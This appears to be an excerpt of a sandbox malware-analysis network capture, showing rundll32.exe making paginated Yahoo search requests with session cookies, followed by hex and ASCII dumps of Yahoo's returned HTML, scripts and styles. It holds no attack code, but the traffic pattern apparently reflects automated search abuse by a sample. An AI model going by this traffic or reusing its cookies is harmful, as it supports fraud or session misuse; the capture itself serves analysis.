2023-12-10 16:51:02 UTC	1279	IN	Data Raw: b2 4a cf 16 d1 bb 76 4e 6a a2 92 42 6e ec e9 b4 d1 7b 15 8a 8d 47 c9 37 20 9c 98 73 b4 8e dd 69 65 94 b1 c0 ae 56 6f 14 de e9 49 2d a6 ab 6e b2 dd c5 86 47 46 da b2 a1 38 27 a1 e4 7f 8f 4c 57 53 66 16 e2 18 e7 5f b8 ea 18 7d 0d 44 a2 d6 ac a4 ef a2 1a 42 c3 0b cf 27 dd 45 2c 6b 80 b3 6f f8 4a 3c 64 6e 08 26 da 3f ba 0f a0 ae a3 c6 ba 8f d8 f4 43 6d 0e 4c f7 2d e5 22 af 53 9a cd f0 c4 5a 6e 95 a6 cb 23 5d c2 26 54 06 e3 0c 0e cf 63 ef ed 5d 14 bd ca 6e 7d 5e 88 ce 7e f4 94 7a 23 aa 67 2d 85 5e 83 81 5c 9e 9a 9f d9 ff 00 11 ef 6d 9f 21 6f 61 12 af a6 47 27 f9 1a bc 7c 52 63 4f 3a 0d 0f 52 9e d8 72 66 f2 f6 82 3d 40 ea 6b 9c f1 66 a9 16 a8 34 dd 6b 47 9c c7 2a b9 b7 7c 8d ad 19 6e cc 3f 3a ce 11 7b 3e a5 49 ad ce ae 1f 11 4d 79 e2 57 d3 f4 e8 22 7b 2b 60 7e Data Ascii: JvNjBn{G7 sieVoI-nGF8'LWSf_}DB'E,koJ<dn&?CmL-"SZn#]&Tc]n}^~z#g-^\m!oaG'\|RcO:Rrf=@kf4kG*\|n?:{>IMyW"{+`~
2023-12-10 16:51:02 UTC	557	IN	Data Raw: b9 6d 4a fb 3b 94 bf dc 8c f7 c0 ab 50 4b 59 93 cd 7d 22 51 ba fb 7e a5 61 36 af 7c a6 d2 c2 08 d9 ed ad 0f de 91 b1 80 ef f8 e0 81 5a fe 15 b7 92 2f 0e 5a 46 01 5d cb bd bf 13 5b 12 5b c7 2c 6c 2e d5 5d 1b aa 30 04 1f c2 b3 b5 7d 72 1d 22 08 e3 8e 22 d3 49 f2 c1 6d 18 f9 9c f6 e3 b0 a7 cc e7 ee a4 16 51 d5 98 5e 36 b3 9e ee 4b 2b 68 94 08 43 e6 49 1d 82 ae 49 e9 93 d4 fb 0e 6b 0b 4e b4 fe d6 f1 88 89 30 63 81 70 49 e8 31 5d 3c 3a 1d ed e6 eb fd 4a 45 9b 50 c1 f2 20 ff 00 96 56 e4 ff 00 33 ef 56 3c 3b e1 91 a1 2c d2 dc dc ac b7 33 1c b1 55 c6 3d 85 5f 32 8c 6c 9e a4 72 b9 3b 93 2f 86 34 55 7d f2 d9 c7 71 37 52 4a e0 67 d7 15 ad 15 bf 97 0a c6 aa 90 c2 a3 01 14 60 01 52 0c 81 fb b4 08 3f bc d5 1c 9b 8a 31 8c 79 d2 f6 0c 70 bf 9e 2b 06 db dc d6 c9 0e 0d 1a Data Ascii: mJ;PKY}"Q~a6\|Z/ZF][[,l.]0}r""ImQ^6K+hCIIkN0cpI1]<:JEP V3V<;,3U=_2lr;/4U}q7RJg`R?1yp+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	50070	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:04 UTC	827	OUT	GET /search;_ylt=AwrhbhJo7HVldKkrCXZXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&fr=sfp&b=8&pz=7&bct=0&pstart=9 HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=1&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227048&ltv_c=1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:05 UTC	2096	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 30 35 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:51:05 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:51:05 UTC	4798	IN	Data Raw: 32 64 65 66 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: 2def<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yim
2023-12-10 16:51:05 UTC	6288	IN	Data Raw: 7d 2c 74 3d 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 3b 72 65 74 75 72 6e 21 21 6f 7c 7c 28 65 26 26 65 2e 74 69 6d 69 6e 67 3f 30 3c 65 2e 74 69 6d 69 6e 67 2e 6c 6f 61 64 45 76 65 6e 74 45 6e 64 3a 21 74 7c 7c 30 3c 28 74 3d 74 28 22 6e 61 76 69 67 61 74 69 6f 6e 22 29 29 2e 6c 65 6e 67 74 68 26 26 30 3c 74 5b 30 5d 2e 6c 6f 61 64 45 76 65 6e 74 45 6e 64 29 7d 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 7d 7d 72 2e 59 41 48 4f 4f 3d 72 2e 59 41 48 4f 4f 7c 7c 7b 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 74 2c 6e 29 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2e Data Ascii: },t=e.getEntriesByType;return!!o\|\|(e&&e.timing?0<e.timing.loadEventEnd:!t\|\|0<(t=t("navigation")).length&&0<t[0].loadEventEnd)}function e(){this.config={}}r.YAHOO=r.YAHOO\|\|{},e.prototype={set:function(e,t,n){e.setAttribute(t,n)},get:function(e,t){return e.
2023-12-10 16:51:05 UTC	15928	IN	Data Raw: 65 72 70 6f 6c 69 63 79 26 26 79 28 74 3d 74 7c 7c 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 65 66 65 72 72 65 72 70 6f 6c 69 63 79 22 29 29 3b 62 72 65 61 6b 7d 72 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 72 65 74 75 72 6e 21 30 7d 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 3d 65 2c 74 68 69 73 2e 69 6e 6a 65 63 74 59 6c 63 3d 64 2c 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 26 26 28 69 3d 6e 65 77 20 52 65 67 45 78 70 28 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 29 29 2c 63 2e 79 6c 63 50 61 72 61 6d 26 26 28 75 2e 61 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d 64 65 68 29 2c 74 3d 21 30 29 7d 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 26 26 28 75 2e 64 65 28 6e 2c 22 6d 6f 75 73 65 64 6f Data Ascii: erpolicy&&y(t=t\|\|r.getAttribute("referrerpolicy"));break}r=r.parentNode}return!0},init:function(e){c=e,this.injectYlc=d,c.cbclk_regexp&&(i=new RegExp(c.cbclk_regexp)),c.ylcParam&&(u.ae(n,"mousedown",this.mdeh),t=!0)},destroy:function(){t&&(u.de(n,"mousedo
2023-12-10 16:51:05 UTC	10552	IN	Data Raw: 22 73 61 2d 63 6f 6e 64 69 74 69 6f 6e 22 3e 27 2b 65 2e 63 6f 6e 64 69 74 69 6f 6e 2b 22 3c 2f 73 70 61 6e 3e 22 2c 69 3d 65 2e 64 65 67 72 65 65 2c 73 3d 65 2e 68 69 67 68 5f 74 65 6d 70 26 26 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 61 2d 73 65 70 20 73 61 2d 73 65 70 2d 68 6c 22 3e e2 80 a2 3c 2f 73 70 61 6e 3e 20 48 3a 27 2b 65 2e 68 69 67 68 5f 74 65 6d 70 2b 22 c2 b0 22 2c 6e 3d 65 2e 6c 6f 77 5f 74 65 6d 70 26 26 22 4c 3a 22 2b 65 2e 6c 6f 77 5f 74 65 6d 70 2b 22 c2 b0 22 2c 61 3d 65 2e 6c 6f 63 26 26 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 61 2d 73 65 70 20 73 61 2d 73 65 70 2d 6c 6f 63 22 3e e2 80 a2 3c 2f 73 70 61 6e 3e 20 27 2b 65 2e 6c 6f 63 2c 6f 3d 65 2e 77 61 72 6e 69 6e 67 3f 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 77 61 72 6e Data Ascii: "sa-condition">'+e.condition+"</span>",i=e.degree,s=e.high_temp&&'<span class="sa-sep sa-sep-hl"></span> H:'+e.high_temp+"",n=e.low_temp&&"L:"+e.low_temp+"",a=e.loc&&'<span class="sa-sep sa-sep-loc"></span> '+e.loc,o=e.warning?'<span class="warn
2023-12-10 16:51:05 UTC	2480	IN	Data Raw: 61 73 65 28 29 29 7c 7c 28 74 3d 73 2e 65 6c 65 6d 73 2e 73 62 49 6e 70 75 74 2c 32 37 3d 3d 3d 65 2e 6b 65 79 43 6f 64 65 26 26 74 2e 76 61 6c 75 65 2e 6c 65 6e 67 74 68 3f 28 53 2e 73 65 6c 65 63 74 28 74 2c 30 2c 74 2e 76 61 6c 75 65 2e 6c 65 6e 67 74 68 29 2c 53 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 65 29 2c 73 2e 73 68 6f 77 28 29 29 3a 65 2e 6b 65 79 43 6f 64 65 3c 3d 34 30 7c 7c 65 2e 63 74 72 6c 4b 65 79 7c 7c 65 2e 6d 65 74 61 4b 65 79 7c 7c 28 69 2e 63 6f 6e 66 69 67 2e 65 6d 70 74 79 46 69 72 73 74 3f 74 2e 76 61 6c 75 65 3d 22 22 3a 28 74 2e 76 61 6c 75 65 3d 53 2e 74 72 69 6d 28 74 2e 76 61 6c 75 65 29 2c 22 22 21 3d 3d 74 2e 76 61 6c 75 65 26 26 28 74 2e 76 61 6c 75 65 2b 3d 22 20 22 29 29 2c 53 2e 73 65 74 46 6f 63 75 73 28 74 Data Ascii: ase())\|\|(t=s.elems.sbInput,27===e.keyCode&&t.value.length?(S.select(t,0,t.value.length),S.stopPropagation(e),s.show()):e.keyCode<=40\|\|e.ctrlKey\|\|e.metaKey\|\|(i.config.emptyFirst?t.value="":(t.value=S.trim(t.value),""!==t.value&&(t.value+=" ")),S.setFocus(t
2023-12-10 16:51:05 UTC	16384	IN	Data Raw: 6f 72 20 79 6f 75 72 20 66 65 65 64 62 61 63 6b 22 2c 69 6d 70 72 6f 76 65 3a 22 59 6f 75 72 20 72 65 73 70 6f 6e 73 65 73 20 68 65 6c 70 20 74 6f 20 69 6d 70 72 6f 76 65 20 74 68 65 20 73 65 61 72 63 68 20 65 78 70 65 72 69 65 6e 63 65 2e 22 2c 64 6f 6e 65 3a 22 44 6f 6e 65 22 7d 2c 6c 6f 67 3a 7b 73 65 63 3a 22 73 65 61 72 63 68 22 2c 73 6c 6b 3a 22 61 73 73 69 73 74 2d 72 65 70 6f 72 74 22 2c 72 73 70 6e 73 3a 22 75 70 64 22 2c 6c 74 78 74 3a 21 30 7d 7d 7d 72 2e 53 41 3d 28 73 3d 5b 5d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 6a 73 6f 6e 70 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 77 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2c 69 3d 77 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 Data Ascii: or your feedback",improve:"Your responses help to improve the search experience.",done:"Done"},log:{sec:"search",slk:"assist-report",rspns:"upd",ltxt:!0}}}r.SA=(s=[],e.prototype={jsonp:function(e){var t=w.getElementsByTagName("head")[0],i=w.createElement(
2023-12-10 16:51:05 UTC	992	IN	Data Raw: 6f 6e 66 69 67 2e 6c 6f 67 29 2e 6c 74 78 74 26 26 28 73 2e 6c 74 78 74 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 65 78 74 2e 72 65 70 6f 72 74 29 2c 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 74 61 67 3a 22 62 75 74 74 6f 6e 22 2c 74 65 78 74 3a 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 65 78 74 2e 72 65 70 6f 72 74 7d 29 29 3b 6e 2e 69 64 3d 65 2b 22 2d 62 74 6e 22 2c 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6e 29 2c 74 68 69 73 2e 72 65 70 6f 72 74 4c 69 6e 6b 3d 69 2c 70 2e 61 65 28 6e 2c 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 70 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 65 29 2c 73 26 26 74 2e 61 70 70 2e 63 6f 6e 74 72 6f 6c 2e 62 65 61 63 6f 6e 28 22 72 65 70 6f 72 74 22 2c 6e 2c 73 29 2c 74 2e 73 68 6f 77 50 61 Data Ascii: onfig.log).ltxt&&(s.ltxt=this.config.text.report),this.createElem({tag:"button",text:this.config.text.report}));n.id=e+"-btn",i.appendChild(n),this.reportLink=i,p.ae(n,"click",function(e){p.stopPropagation(e),s&&t.app.control.beacon("report",n,s),t.showPa
2023-12-10 16:51:05 UTC	12912	IN	Data Raw: 45 6e 63 6f 64 65 28 63 29 2b 22 3c 2f 6c 61 62 65 6c 3e 3c 2f 73 70 61 6e 3e 22 7d 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 72 29 7d 72 65 74 75 72 6e 20 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 2c 74 7d 2c 62 75 69 6c 64 46 6f 6f 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 73 73 2e 6e 61 6d 65 73 70 61 63 65 2c 74 3d 74 68 69 73 2c 69 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 63 73 73 3a 65 2b 22 2d 63 74 2d 66 6f 6f 74 65 72 22 7d 29 2c 73 3d 28 28 73 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 74 61 67 3a 22 66 6f 6f 74 65 72 22 7d 29 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 65 78 74 2e 6c 65 67 61 6c 2c 69 2e 61 70 70 65 6e 64 43 Data Ascii: Encode(c)+"</label></span>"}s.appendChild(r)}return t.appendChild(s),t},buildFooter:function(){var e=this.config.css.namespace,t=this,i=this.createElem({css:e+"-ct-footer"}),s=((s=this.createElem({tag:"footer"})).innerHTML=this.config.text.legal,i.appendC
2023-12-10 16:51:05 UTC	8808	IN	Data Raw: 69 6c 65 2e 6e 6f 49 6d 61 67 65 20 70 20 61 7b 63 6f 6c 6f 72 3a 23 30 30 30 7d 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 61 72 64 52 65 67 20 2e 64 64 20 2e 63 6f 6d 70 49 6d 61 67 65 50 72 6f 66 69 6c 65 20 20 70 20 61 7b 63 6f 6c 6f 72 3a 23 46 46 46 7d 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 6f 6d 70 54 65 78 74 20 70 20 61 2e 6d 2d 30 2c 20 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 6f 6d 70 54 69 74 6c 65 20 2e 73 74 78 74 20 61 7b 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 6c 61 79 6f 75 74 43 65 6e 74 65 72 20 2e 63 6f 6d 70 54 65 78 74 20 73 70 61 6e 2e 73 74 72 73 2b 61 7b 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 7d 2e 62 64 Data Ascii: ile.noImage p a{color:#000}#results #right .cardReg .dd .compImageProfile p a{color:#FFF}#results #right .compText p a.m-0, #results #right .compTitle .stxt a{color:#4d5156 !important;}#results #right .layoutCenter .compText span.strs+a{color:#4d5156}.bd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	50080	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:08 UTC	976	OUT	GET /search;_ylt=AwrEoY5x7HVlBOor80VLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=22&pz=7&pstart=13 HTTP/1.1 Host: uk.search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227057&ltv_c=3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:08 UTC	2068	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 30 38 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:51:08 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:51:08 UTC	3378	IN	Data Raw: 32 65 30 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: 2e07<!doctype html><html id="atomic" class="NoJs" lang="en-GB"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yim
2023-12-10 16:51:09 UTC	7736	IN	Data Raw: 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 22 21 3d 3d 72 2e 6e 61 76 69 67 61 74 6f 72 2e 61 70 70 4e 61 6d 65 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 4d 53 49 45 20 28 5b 30 2d 39 5d 7b 31 2c 7d 5b 2e 30 2d 39 5d 7b 30 2c 7d 29 22 29 2e 65 78 65 63 28 72 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 3b 72 65 74 75 72 6e 20 65 26 26 65 5b 31 5d 26 26 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 31 5d 29 7d 28 29 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 76 61 72 20 6e 3d 5b 5d 3b 72 65 74 75 72 6e 20 73 28 74 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6e 2e 70 75 73 68 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 29 2b 22 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d Data Ascii: nternet Explorer"!==r.navigator.appName)return!1;var e=new RegExp("MSIE ([0-9]{1,}[.0-9]{0,})").exec(r.navigator.userAgent);return e&&e[1]&&parseFloat(e[1])}();function c(e,t){var n=[];return s(t,function(e,t){n.push(encodeURIComponent(e)+"="+encodeURICom
2023-12-10 16:51:09 UTC	13032	IN	Data Raw: 79 28 74 3d 74 7c 7c 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 65 66 65 72 72 65 72 70 6f 6c 69 63 79 22 29 29 3b 62 72 65 61 6b 7d 72 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 72 65 74 75 72 6e 21 30 7d 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 3d 65 2c 74 68 69 73 2e 69 6e 6a 65 63 74 59 6c 63 3d 64 2c 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 26 26 28 69 3d 6e 65 77 20 52 65 67 45 78 70 28 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 29 29 2c 63 2e 79 6c 63 50 61 72 61 6d 26 26 28 75 2e 61 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d 64 65 68 29 2c 74 3d 21 30 29 7d 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 26 26 28 75 2e 64 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d Data Ascii: y(t=t\|\|r.getAttribute("referrerpolicy"));break}r=r.parentNode}return!0},init:function(e){c=e,this.injectYlc=d,c.cbclk_regexp&&(i=new RegExp(c.cbclk_regexp)),c.ylcParam&&(u.ae(n,"mousedown",this.mdeh),t=!0)},destroy:function(){t&&(u.de(n,"mousedown",this.m
2023-12-10 16:51:09 UTC	11584	IN	Data Raw: 26 21 65 2e 73 75 62 74 69 74 6c 65 29 7b 76 61 72 20 73 2c 6e 2c 61 2c 6f 2c 72 2c 6c 2c 63 2c 69 3d 65 2e 74 5f 6c 6f 67 6f 2c 70 3d 65 2e 74 5f 61 62 62 72 7c 7c 65 2e 74 65 61 6d 2c 64 3d 65 2e 6f 74 5f 6c 6f 67 6f 2c 68 3d 65 2e 6f 74 5f 61 62 62 72 7c 7c 65 2e 6f 74 65 61 6d 2c 75 3d 65 2e 74 65 61 6d 5f 70 6f 69 6e 74 73 2c 66 3d 65 2e 6f 70 70 5f 70 6f 69 6e 74 73 2c 6d 3d 65 2e 70 65 72 69 6f 64 26 26 22 e2 80 a2 20 51 22 2b 65 2e 70 65 72 69 6f 64 2c 67 3d 65 2e 74 69 6d 65 6c 65 66 74 2c 76 3d 65 2e 67 61 6d 65 74 69 6d 65 26 26 6e 65 77 20 44 61 74 65 28 31 65 33 2a 65 2e 67 61 6d 65 74 69 6d 65 29 2c 79 3d 65 2e 6c 69 76 65 2c 62 3d 65 2e 67 61 6d 65 5f 63 6e 74 2c 5f 3d 62 26 26 31 3c 62 3f 62 2b 22 20 6f 74 68 65 72 20 67 61 6d 65 73 20 74 Data Ascii: &!e.subtitle){var s,n,a,o,r,l,c,i=e.t_logo,p=e.t_abbr\|\|e.team,d=e.ot_logo,h=e.ot_abbr\|\|e.oteam,u=e.team_points,f=e.opp_points,m=e.period&&" Q"+e.period,g=e.timeleft,v=e.gametime&&new Date(1e3*e.gametime),y=e.live,b=e.game_cnt,_=b&&1<b?b+" other games t
